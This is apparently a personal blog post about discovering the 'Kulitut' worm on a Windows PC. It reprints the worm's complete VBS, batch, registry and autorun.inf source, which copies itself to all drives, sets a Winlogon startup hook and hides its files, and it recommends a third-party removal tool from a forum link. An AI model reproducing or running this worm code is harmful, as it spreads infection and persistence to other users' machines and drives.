It’s by luck that I found one of those strange looking file on my computer. I was trying to rename a files extension but it’s not listed on Windows explorer. So, I changed the view folder options of Windows explorer to uncheck the hide extensions of known file types options.

It’s a surprise to see some list of strange looking files on my computer like kulitut.vbs, kulitut.reg, and kulitut.bat. If this is a virus why did my Trend Micro computer anti virus not alert me of this one. Scanning it seems to have a clean result. I have the promptings to delete those files immediately, but I need to know what’s this file is all about. Using a textpad I tried to open the files.

Here are the contents of the files.

Computer Virus Kulitut Component File Kulitut.vbs:

'OxJoe
'Roxas City Phils
'August 2007
on error resume next
Set WshShell =CreateObject("WScript.Shell")
For i=1 to 1
set Of = CreateObject("Scripting.FileSystemObject")
set dir = Of.GetSpecialFolder(1)
Set dc = Of.Drives
if WScript.ScriptFullName=dir&"\\kulitut.vbs" then
isdir=true
else
a=WshShell.Run("kulitut.bat Open" ,0,False)
isdir=false
end if
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") Then
a=WshShell.Run("kulitut.bat - "&d ,0,True)
if isdir then
Of.CopyFile dir&"\\kulitut.*",d&"\\",True
Of.CopyFile dir&"\\autorun.inf",d&"\\",True
else
Of.CopyFile "kulitut.*",d&"\\",True
Of.CopyFile "autorun.inf",d&"\\",True
end if
a=WshShell.Run("kulitut.bat + "&d ,0,True)
End If
next
if isdir then
wscript.sleep 60000
i=0
else
a=WshShell.Run("kulitut.bat - "&dir ,0,True)
Of.CopyFile "kulitut.*",dir&"\\",True
Of.CopyFile "autorun.inf",dir&"\\",True
a=WshShell.Run("kulitut.bat + "&dir ,0,True)
end if

Computer Virus Kulitut Component File Kulitut.reg:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\Winlogon]
"Userinit"="userinit.exe,kulitut.bat"
[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced]
"ShowSuperHidden"=dword:00000000

Computer Virus Kulitut Component File Kulitut.bat:

@echo off
if exist .\\kulitut.reg regedit /s .\\kulitut.reg
if not "%1"=="" goto open
if exist kulitut.vbs start WScript.exe kulitut.vbs&exit
if exist %SYSTEMROOT%\\system32\\kulitut.vbs start WScript.exe %SYSTEMROOT%\\system32\\kulitut.vbs&exit
exit
pen
if not "%1"=="Open" goto next
start explorer .\\
exit
:next
if "%1"=="+" attrib +s +a +h +r %2\\kulitut.*
if "%1"=="+" attrib +s +a +h +r %2\\autorun.inf
:end

Oh I did not notice this autorun.inf to be a strange looking file as it seems to be a common file around. Only by looking inside the files that I found this autorun.inf to be part of the

Computer Virus Kulitut Component File autorun.inf:

[autorun]
open=
shell\\open=Open(bbgong)
shell\\open\\Command=WScript.exe .\\kulitut.vbs
shell\\open\\Default=1
shell\\explore=explore(bbgong)
shell\\explore\\Command=WScript.exe .\\kulitut.vbs

I thought it would be better to know more about the Computer Virus Kulitut. So, I did a little of Yahoo search and found a very nice program to clean viruses like Kulitut.
The virus cleaner program is called KaiZer Killer which was developed by Giancarlo Acelajado. You could download the file U_kaizer_killerv1.8.rar from http://www.pinoyspy.net/node/4754. I opened the file and see that what it does is kill the processes related to the certain computer virus then delete it’s registry entries. It looks pretty safe to use. I run the KaiZer Killer virus cleaner and after running the program all those Kulitut virus files were gone. Good luck.